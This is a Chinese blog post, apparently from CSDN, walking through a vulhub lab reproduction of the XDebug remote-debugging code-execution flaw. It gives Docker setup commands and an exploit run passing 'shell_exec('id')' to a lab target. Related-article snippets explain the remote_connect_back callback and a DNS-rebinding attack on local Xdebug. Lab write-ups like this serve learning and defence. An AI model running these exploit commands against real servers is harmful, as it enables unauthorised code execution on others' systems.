XDebug 远程调试漏洞复现（代码执行）

最新推荐文章于 2024-03-14 18:47:40 发布
最新推荐文章于 2024-03-14 18:47:40 发布
阅读量2.6k 收藏
点赞数
文章标签： php 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_58687645/article/details/122407141
版权

环境搭建

启动docker

systemctl start docker

进入对应目录

cd vulhub/php/xdebug-rce/
启动容器

docker-compose up -d
查看容器

docker ps

访问8080端口（搭建成功）

在本机执行exp
exp的位置在vulhub/php/xdebug-rce/目录下（成功执行）

python3 exp.py -t http://10.106.8.91:8080/index.php  -c 'shell_exec('id');'

 

安全菜
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
PHP远程调试之XDEBUG
10-23
开发的时候我都是使用XDebug在本地调试，但是最近加入一些项目中去，环境太复杂了，要在本地搭建一个开发环境真的太麻烦了，那么我们怎么使用xdebug来远程调试呢？下面通过本篇文章给大家介绍php xdebug远程调试方法，感兴趣的朋友一起看看吧
XDebug 远程调试漏洞（代码执行）
黑白的博客
12-27 1487
声明 好好学习，天天向上 漏洞描述 XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1： xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过
XDebug 远程调试漏洞 代码执行 漏洞复现
ADummy的博客
02-26 609
XDebug 远程调试漏洞（代码执行） by ADummy 0x00利用路线 ​ 构造XXE payload—>POST发送—>有回显（也有blind xxe 参考资料） 0x01漏洞介绍 ​ XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1： xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 这个配置下，我们访问http://target/
远程调试XDebug
Mr_Rongyao的博客
08-26 275
我这里之前已经装了。
php7.4+phpstorm2022+宝塔linux xdebug远程调试教程
05-15
在PHP开发过程中，Xdebug作为一个强大的调试工具，能够帮助开发者深入理解代码执行过程，定位并解决问题。然而，配置Xdebug远程调试并不简单，尤其是随着版本更新，很多教程已经过时，无法直接应用。本文将基于...
解析phpstorm + xdebug 远程断点调试
10-27
本篇文章是对phpstorm + xdebug 远程断点调试进行了详细的分析介绍，需要的朋友参考下
使用phpstorm和xdebug实现远程调试的方法
12-19
1.原理：xdebug是一款php调试插件，支持远程调试，就是在php文件运行的时候，能通过tcp协议，来发送调试信息到远程端口，ide在收到调试信息的时候，可以向xdebug发送单步运行，中止运行，运行等命令。这样就实现了vs...
xdebug远程调试
许发君博客
01-02 963
安装xdebug 见我另外一篇文章：PHP安装xdebug 配置项 xdebug.remote_enable = 1 ; 开启远程调试，必须设置为1 xdebug.idekey = PHPSTORM ; 可选设置， xdebug.remote_connect_back = 1 ; 如果PHPStorm在本地，请设置为1，不然本地检测不到 设置phpstorm相关配置...
PHP使用Xdebug进行远程调试
weixin_34308389的博客
09-08 401
PHP使用Xdebug进行远程调试 翻译bymylxswposted on 2014/07/14 under技术文章 > 编程语言 Xdebug提供了客户端与PHP脚本进行交互的接口，这一章将会介绍如何让PHP和Xdebug开启这个特性，并且介绍一些常用的客户端。 概述 Xdebug(远程)调试器允许测试数据结构，步进并且调试你的代...
buuctf [PHP]XDebug RCE
qq_1873822的博客
03-22 684
打开页面是一个phpinfo XDebug是PHP的一个扩展，用于调试PHP代码。 然后可以直接去找lflag，这里复现失败了，原因是该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器必须有外网IP（或者与目标服务器处于同一内网）。 文章学习参考https://blog.csdn.net/weixin_43416469/article/details/114143522 ...
利用恶意页面攻击本地 Xdebug
m0_59598029的博客
02-06 100
TL;DRPHP开发者以及一些安全研究人员经常会在本地搭建一个基于Xdebug的PHP的调试服务，在大部分配置情况下，Xdebug采用HTTP请求头中的字段作为DBGp协议的回连地址。受害者浏览攻击页面一段时间，攻击者可利用DNS Rebind技术向本地服务器发送带有恶意的请求，即有可能在受害者电脑上执行任意代码。Xdebug是用于调试PHP的扩展，可以根据本地源码远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境，用于日常的开发和调试。
HITCON 2018 BabyCake WriteUp && XDebug + VSCode远程调试
heySister
11-22 1056
哦，终于把这道题目搞定了，写一下我的复现过程，主要是配了一下Xdebug的环境，因为手抖耽误了很多时间。 先贴一下docker： docker pull gaoxijiejie/babycake 下载好之后运行指令为： docker run -id --name cake-xdebug -p 8080:80 -p 9009:9009 cake-xdebug /bin/bash (xdebug使用的...
[漏洞分析]WordPress未经身份验证的远程代码执行CVE-2024-25600
最新发布
网络安全知识分享
03-14 1533
Bricks
远程代码执行及反序列化漏洞
weixin_59616219的博客
12-21 855
远程代码执行及反序列化漏洞
远程代码执行漏洞分析
kali_Ma的博客
11-08 3933
一、背景介绍 mpv项目是开源项目，可以在多个系统包括Windows、Linux、MacOs上运行，是一款流行的视频播放器，mpv软件在读取文件名称时存在格式化字符串漏洞，可以导致堆溢出并执行任意代码。 二、环境搭建 系统环境为Ubuntu x64位，软件环境可以通过两种方式搭建环境。 a. 通过源码编译，源码地址为： https://github.com/mpv-player/mpv/tree/v0.33.0 下载地址为：https://github.com/mpv-player/mpv/archive/
网路安全之远程代码执行漏洞
qq_52074678的博客
05-11 3162
一。什么是远程代码执行？ 远程代码执行：Remote Code Execute 后台有时候也会把用户的输入作为代码的一部分进行执行，也就造成了远程代码执行漏洞，不管是使用了代码执行的函数，还是使用了不安全的反序列化等等。 因此，如果需要给前端用户提供操作类的接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法 远程命令执行：Remote Command Execute 一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对
宝塔 开启xdebug_如何配置sublime xdebug断点
weixin_39939303的博客
01-16 144
第一步：安装php xdebug扩展(本人使用宝塔安装，一键搞定)讲的很详细，这里略过。第二步：安装sublime xdebugclient(不是xdebug)直接用package control安装即可第三步：配置php xdebug扩展windows:Xml代码[XDebug]zend_extension="D:\xampp\php\ext\php_xdebug.dll"xdebug....
phpstorm2022 xdebug chrome phpstudy 远程调试
05-13
PhpStorm是一种强大的PHP集成开发环境，允许开发人员进行PHP应用程序的开发和调试。Xdebug是一种PHP扩展，为开发人员提供了强大的调试功能。Chrome是一种流行的浏览器，而PhpStudy是一个常见的PHP开发环境。 远程调试是指在远程计算机上调试应用程序。为了在远程计算机上进行PHP应用程序的远程调试，需要安装并配置Xdebug，并在PhpStorm中配置Xdebug的启动选项。然后，需要在远程计算机上安装Chrome，并将Chrome浏览器连接到PhpStorm。最后，在PhpStorm中启动调试器，并在Chrome浏览器中打开调试器工具。这样，开发人员就可以在远程计算机上进行PHP应用程序的调试和测试。 值得注意的是，远程调试需要在开发环境和远程服务器之间建立可靠的网络连接，以便实时传输调试信息。此外，远程调试也可能会影响应用程序的性能，因此需要谨慎使用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值